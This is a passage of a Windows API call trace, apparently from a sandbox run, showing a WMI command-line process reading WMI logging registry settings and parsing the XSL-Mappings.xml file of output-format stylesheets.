(lpString="NQDPDE") returned 6 [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0268.590] free (_Block=0x2782688) [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] malloc (_Size=0xe) returned 0x2782688 [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] malloc (_Size=0xe) returned 0x27826c8 [0268.590] lstrlenW (lpString="NQDPDE") returned 6 [0268.590] malloc (_Size=0x4) returned 0x27811d8 [0268.591] malloc (_Size=0xc) returned 0x27826e0 [0268.591] ResolveDelayLoadedAPI () returned 0x75bcb870 [0268.625] malloc (_Size=0x18) returned 0x27826f8 [0268.625] malloc (_Size=0xc) returned 0x2782718 [0268.625] SysStringLen (param_1="IDENTIFY") returned 0x8 [0268.625] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0268.625] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0268.625] SysStringLen (param_1="IDENTIFY") returned 0x8 [0268.625] malloc (_Size=0x18) returned 0x2782730 [0268.625] malloc (_Size=0xc) returned 0x2782750 [0268.626] SysStringLen (param_1="IMPERSONATE") returned 0xb [0268.626] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0268.626] SysStringLen (param_1="IMPERSONATE") returned 0xb [0268.626] SysStringLen (param_1="IDENTIFY") returned 0x8 [0268.626] SysStringLen (param_1="IDENTIFY") returned 0x8 [0268.626] SysStringLen (param_1="IMPERSONATE") returned 0xb [0268.626] malloc (_Size=0x18) returned 0x2782768 [0268.626] malloc (_Size=0xc) returned 0x2782788 [0268.626] SysStringLen (param_1="DELEGATE") returned 0x8 [0268.626] SysStringLen (param_1="IDENTIFY") returned 0x8 [0268.626] SysStringLen (param_1="DELEGATE") returned 0x8 [0268.626] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0268.626] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0268.626] SysStringLen (param_1="DELEGATE") returned 0x8 [0268.626] malloc (_Size=0x18) returned 0x27827a0 [0268.626] malloc (_Size=0xc) returned 0x27827c0 [0268.626] malloc (_Size=0x18) returned 0x27827d8 [0268.626] malloc (_Size=0xc) returned 0x27827f8 [0268.626] SysStringLen (param_1="NONE") returned 0x4 [0268.626] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.626] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.626] SysStringLen (param_1="NONE") returned 0x4 [0268.626] malloc (_Size=0x18) returned 0x2782810 [0268.626] malloc (_Size=0xc) returned 0x2782830 [0268.626] SysStringLen (param_1="CONNECT") returned 0x7 [0268.626] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.626] malloc (_Size=0x18) returned 0x2782848 [0268.626] malloc (_Size=0xc) returned 0x27804a0 [0268.627] SysStringLen (param_1="CALL") returned 0x4 [0268.627] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.627] SysStringLen (param_1="CALL") returned 0x4 [0268.627] SysStringLen (param_1="CONNECT") returned 0x7 [0268.627] malloc (_Size=0x18) returned 0x27804b8 [0268.627] malloc (_Size=0xc) returned 0x27804d8 [0268.627] SysStringLen (param_1="PKT") returned 0x3 [0268.627] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.627] SysStringLen (param_1="PKT") returned 0x3 [0268.627] SysStringLen (param_1="NONE") returned 0x4 [0268.627] SysStringLen (param_1="NONE") returned 0x4 [0268.627] SysStringLen (param_1="PKT") returned 0x3 [0268.627] malloc (_Size=0x18) returned 0x2782b90 [0268.627] malloc (_Size=0xc) returned 0x27804f0 [0268.627] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0268.627] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.627] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0268.627] SysStringLen (param_1="NONE") returned 0x4 [0268.627] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0268.627] SysStringLen (param_1="PKT") returned 0x3 [0268.627] SysStringLen (param_1="PKT") returned 0x3 [0268.627] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0268.627] malloc (_Size=0x18) returned 0x27829f0 [0268.627] malloc (_Size=0xc) returned 0x2780508 [0268.627] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0268.627] SysStringLen (param_1="DEFAULT") returned 0x7 [0268.627] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0268.627] SysStringLen (param_1="PKT") returned 0x3 [0268.627] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0268.627] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0268.627] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0268.627] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0268.627] malloc (_Size=0x18) returned 0x2782b30 [0268.627] malloc (_Size=0x40) returned 0x2780520 [0268.627] malloc (_Size=0x20a) returned 0x2789568 [0268.627] GetSystemDirectoryW (in: lpBuffer=0x2789568, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0268.628] free (_Block=0x2789568) [0268.628] malloc (_Size=0xc) returned 0x2780568 [0268.628] malloc (_Size=0xc) returned 0x2780580 [0268.628] malloc (_Size=0xc) returned 0x2782c70 [0268.628] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0268.628] SysStringLen (param_1="\\wbem\\") returned 0x6 [0268.628] free (_Block=0x2780568) [0268.628] free (_Block=0x2780580) [0268.628] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0268.628] free (_Block=0x2782c70) [0268.628] malloc (_Size=0xc) returned 0x2789638 [0268.628] malloc (_Size=0xc) returned 0x27895c0 [0268.628] malloc (_Size=0xc) returned 0x27896f8 [0268.628] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0268.628] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0268.628] free (_Block=0x2789638) [0268.628] free (_Block=0x27895c0) [0268.628] GetCurrentThreadId () returned 0xd80 [0268.628] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x243f2b8 | out: phkResult=0x243f2b8*=0x1ac) returned 0x0 [0268.628] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x243f2c4, lpcbData=0x243f2c0*=0x400 | out: lpType=0x0, lpData=0x243f2c4*=0x30, lpcbData=0x243f2c0*=0x4) returned 0x0 [0268.628] _wcsicmp (_String1="0", _String2="1") returned -1 [0268.628] _wcsicmp (_String1="0", _String2="2") returned -2 [0268.629] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x243f2c0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x243f2c0*=0x42) returned 0x0 [0268.629] malloc (_Size=0x86) returned 0x2782c70 [0268.629] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x2782c70, lpcbData=0x243f2c0*=0x42 | out: lpType=0x0, lpData=0x2782c70*=0x25, lpcbData=0x243f2c0*=0x42) returned 0x0 [0268.629] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0268.629] malloc (_Size=0x42) returned 0x2782d00 [0268.629] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0268.629] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x243f2c4, lpcbData=0x243f2c0*=0x400 | out: lpType=0x0, lpData=0x243f2c4*=0x36, lpcbData=0x243f2c0*=0xc) returned 0x0 [0268.629] _wtol (_String="65536") returned 65536 [0268.629] free (_Block=0x2782c70) [0268.629] RegCloseKey (hKey=0x0) returned 0x6 [0268.629] CoCreateInstance (in: rclsid=0x166ad4*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x166ae4*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x243f754 | out: ppv=0x243f754*=0x2bc45a8) returned 0x0 [0268.896] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x2bc45a8, xmlSource=0x243f6d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x243f740 | out: isSuccessful=0x243f740*=0xffff) returned 0x0 [0269.875] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x2bc45a8, DOMElement=0x243f750 | out: DOMElement=0x243f750*=0x2bc6b48) returned 0x0 [0269.875] malloc (_Size=0xc) returned 0x27895d8 [0269.876] IXMLDOMElement:getElementsByTagName (in: This=0x2bc6b48, tagName="XSLFORMAT", resultList=0x243f74c | out: resultList=0x243f74c*=0x2bc9ca0) returned 0x0 [0269.876] free (_Block=0x27895d8) [0269.877] IXMLDOMNodeList:get_length (in: This=0x2bc9ca0, listLength=0x243f748 | out: listLength=0x243f748*=21) returned 0x0 [0269.877] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=0, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.877] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.877] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.877] malloc (_Size=0xc) returned 0x2789710 [0269.878] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.878] free (_Block=0x2789710) [0269.878] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0269.878] malloc (_Size=0xc) returned 0x27896b0 [0269.878] malloc (_Size=0xc) returned 0x2789698 [0269.878] malloc (_Size=0x18) returned 0x2782b70 [0269.878] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.878] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.878] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.878] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=1, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.878] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="textvaluelist.xsl") returned 0x0 [0269.878] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.879] malloc (_Size=0xc) returned 0x27895c0 [0269.879] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.879] free (_Block=0x27895c0) [0269.879] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0269.879] malloc (_Size=0xc) returned 0x27895d8 [0269.879] malloc (_Size=0xc) returned 0x27896e0 [0269.879] SysStringLen (param_1="VALUE") returned 0x5 [0269.879] SysStringLen (param_1="TABLE") returned 0x5 [0269.879] SysStringLen (param_1="TABLE") returned 0x5 [0269.879] SysStringLen (param_1="VALUE") returned 0x5 [0269.879] malloc (_Size=0x18) returned 0x27828d0 [0269.879] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.879] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.879] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.879] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=2, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.879] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="textvaluelist.xsl") returned 0x0 [0269.880] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.880] malloc (_Size=0xc) returned 0x2789608 [0269.880] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.880] free (_Block=0x2789608) [0269.880] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x0)) returned 0x0 [0269.880] malloc (_Size=0xc) returned 0x27896c8 [0269.880] malloc (_Size=0xc) returned 0x2789620 [0269.880] SysStringLen (param_1="LIST") returned 0x4 [0269.880] SysStringLen (param_1="TABLE") returned 0x5 [0269.880] malloc (_Size=0x18) returned 0x2782970 [0269.880] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.880] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.880] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.880] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=3, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.880] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="rawxml.xsl") returned 0x0 [0269.881] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.881] malloc (_Size=0xc) returned 0x2789758 [0269.881] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.881] free (_Block=0x2789758) [0269.881] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0269.881] malloc (_Size=0xc) returned 0x27895f0 [0269.881] malloc (_Size=0xc) returned 0x2789638 [0269.881] SysStringLen (param_1="RAWXML") returned 0x6 [0269.881] SysStringLen (param_1="TABLE") returned 0x5 [0269.881] SysStringLen (param_1="RAWXML") returned 0x6 [0269.881] SysStringLen (param_1="LIST") returned 0x4 [0269.881] SysStringLen (param_1="LIST") returned 0x4 [0269.881] SysStringLen (param_1="RAWXML") returned 0x6 [0269.881] malloc (_Size=0x18) returned 0x2782a70 [0269.881] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.881] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.881] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.881] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=4, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.882] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="htable.xsl") returned 0x0 [0269.882] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.882] malloc (_Size=0xc) returned 0x2789590 [0269.882] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.882] free (_Block=0x2789590) [0269.882] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0269.882] malloc (_Size=0xc) returned 0x2789710 [0269.882] malloc (_Size=0xc) returned 0x27895c0 [0269.882] SysStringLen (param_1="HTABLE") returned 0x6 [0269.882] SysStringLen (param_1="TABLE") returned 0x5 [0269.882] SysStringLen (param_1="HTABLE") returned 0x6 [0269.882] SysStringLen (param_1="LIST") returned 0x4 [0269.882] malloc (_Size=0x18) returned 0x2782bd0 [0269.882] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.882] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.882] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.882] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=5, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.883] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="hform.xsl") returned 0x0 [0269.883] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.883] malloc (_Size=0xc) returned 0x2789728 [0269.883] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.883] free (_Block=0x2789728) [0269.883] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0269.883] malloc (_Size=0xc) returned 0x2789680 [0269.883] malloc (_Size=0xc) returned 0x2789590 [0269.883] SysStringLen (param_1="HFORM") returned 0x5 [0269.883] SysStringLen (param_1="TABLE") returned 0x5 [0269.883] SysStringLen (param_1="HFORM") returned 0x5 [0269.883] SysStringLen (param_1="LIST") returned 0x4 [0269.883] SysStringLen (param_1="HFORM") returned 0x5 [0269.883] SysStringLen (param_1="HTABLE") returned 0x6 [0269.883] malloc (_Size=0x18) returned 0x2782bb0 [0269.883] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.883] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.884] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.884] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=6, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.884] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="xml.xsl") returned 0x0 [0269.884] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.884] malloc (_Size=0xc) returned 0x2789668 [0269.884] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.884] free (_Block=0x2789668) [0269.884] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x0)) returned 0x0 [0269.884] malloc (_Size=0xc) returned 0x2789608 [0269.884] malloc (_Size=0xc) returned 0x2789650 [0269.884] SysStringLen (param_1="XML") returned 0x3 [0269.884] SysStringLen (param_1="TABLE") returned 0x5 [0269.884] SysStringLen (param_1="XML") returned 0x3 [0269.884] SysStringLen (param_1="VALUE") returned 0x5 [0269.884] SysStringLen (param_1="VALUE") returned 0x5 [0269.884] SysStringLen (param_1="XML") returned 0x3 [0269.884] malloc (_Size=0x18) returned 0x27828f0 [0269.885] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.885] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.885] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.885] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=7, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.885] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="mof.xsl") returned 0x0 [0269.885] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.885] malloc (_Size=0xc) returned 0x2789728 [0269.885] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.885] free (_Block=0x2789728) [0269.885] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x0)) returned 0x0 [0269.888] malloc (_Size=0xc) returned 0x2789728 [0269.888] malloc (_Size=0xc) returned 0x2789740 [0269.888] SysStringLen (param_1="MOF") returned 0x3 [0269.888] SysStringLen (param_1="TABLE") returned 0x5 [0269.888] SysStringLen (param_1="MOF") returned 0x3 [0269.888] SysStringLen (param_1="LIST") returned 0x4 [0269.888] SysStringLen (param_1="MOF") returned 0x3 [0269.888] SysStringLen (param_1="RAWXML") returned 0x6 [0269.888] SysStringLen (param_1="LIST") returned 0x4 [0269.888] SysStringLen (param_1="MOF") returned 0x3 [0269.888] malloc (_Size=0x18) returned 0x2782890 [0269.889] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.889] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.889] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.889] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=8, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.889] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="csv.xsl") returned 0x0 [0269.889] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.889] malloc (_Size=0xc) returned 0x2789668 [0269.889] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.889] free (_Block=0x2789668) [0269.889] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x0)) returned 0x0 [0269.889] malloc (_Size=0xc) returned 0x2789758 [0269.890] malloc (_Size=0xc) returned 0x27895a8 [0269.890] SysStringLen (param_1="CSV") returned 0x3 [0269.890] SysStringLen (param_1="TABLE") returned 0x5 [0269.890] SysStringLen (param_1="CSV") returned 0x3 [0269.890] SysStringLen (param_1="LIST") returned 0x4 [0269.890] SysStringLen (param_1="CSV") returned 0x3 [0269.890] SysStringLen (param_1="HTABLE") returned 0x6 [0269.890] SysStringLen (param_1="CSV") returned 0x3 [0269.890] SysStringLen (param_1="HFORM") returned 0x5 [0269.890] malloc (_Size=0x18) returned 0x2782910 [0269.890] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.890] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.890] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.890] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=9, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.890] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.890] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.890] malloc (_Size=0xc) returned 0x2789668 [0269.890] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.891] free (_Block=0x2789668) [0269.891] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0269.891] malloc (_Size=0xc) returned 0x2789668 [0269.891] malloc (_Size=0xc) returned 0x278aae8 [0269.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.891] SysStringLen (param_1="TABLE") returned 0x5 [0269.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.891] SysStringLen (param_1="VALUE") returned 0x5 [0269.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.891] SysStringLen (param_1="XML") returned 0x3 [0269.891] SysStringLen (param_1="XML") returned 0x3 [0269.891] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.891] malloc (_Size=0x18) returned 0x2782a10 [0269.891] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.891] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.891] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.891] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=10, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.891] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.891] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.891] malloc (_Size=0xc) returned 0x278a9c8 [0269.892] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.892] free (_Block=0x278a9c8) [0269.892] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0269.892] malloc (_Size=0xc) returned 0x278aa28 [0269.892] malloc (_Size=0xc) returned 0x278ab78 [0269.892] SysStringLen (param_1="texttablewsys") returned 0xd [0269.892] SysStringLen (param_1="TABLE") returned 0x5 [0269.892] SysStringLen (param_1="texttablewsys") returned 0xd [0269.892] SysStringLen (param_1="XML") returned 0x3 [0269.892] SysStringLen (param_1="texttablewsys") returned 0xd [0269.892] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.892] SysStringLen (param_1="XML") returned 0x3 [0269.892] SysStringLen (param_1="texttablewsys") returned 0xd [0269.892] malloc (_Size=0x18) returned 0x2782930 [0269.892] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.892] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.892] IUnknown:Release (This=0x2bc9ff8) returned 0x0 [0269.892] IXMLDOMNodeList:get_item (in: This=0x2bc9ca0, index=11, listItem=0x243f768 | out: listItem=0x243f768*=0x2bc6b88) returned 0x0 [0269.893] IXMLDOMNode:get_text (in: This=0x2bc6b88, text=0x243f76c | out: text=0x243f76c*="texttable.xsl") returned 0x0 [0269.893] IXMLDOMNode:get_attributes (in: This=0x2bc6b88, attributeMap=0x243f764 | out: attributeMap=0x243f764*=0x2bc9fa8) returned 0x0 [0269.893] malloc (_Size=0xc) returned 0x278ab00 [0269.893] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x2bc9fa8, name="KEYWORD", namedItem=0x243f760 | out: namedItem=0x243f760*=0x2bc9ff8) returned 0x0 [0269.893] free (_Block=0x278ab00) [0269.893] IXMLDOMNode:get_nodeValue (in: This=0x2bc9ff8, value=0x243f720 | out: value=0x243f720*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0269.893] malloc (_Size=0xc) returned 0x278aa88 [0269.893] malloc (_Size=0xc) returned 0x278a9e0 [0269.893] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.893] SysStringLen (param_1="TABLE") returned 0x5 [0269.893] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.893] SysStringLen (param_1="XML") returned 0x3 [0269.893] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.893] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.893] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0269.893] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0269.893] malloc (_Size=0x18) returned 0x2782a30 [0269.893] IUnknown:Release (This=0x2bc6b88) returned 0x0 [0269.893] IUnknown:Release (This=0x2bc9fa8) returned 0x0 [0269.894] 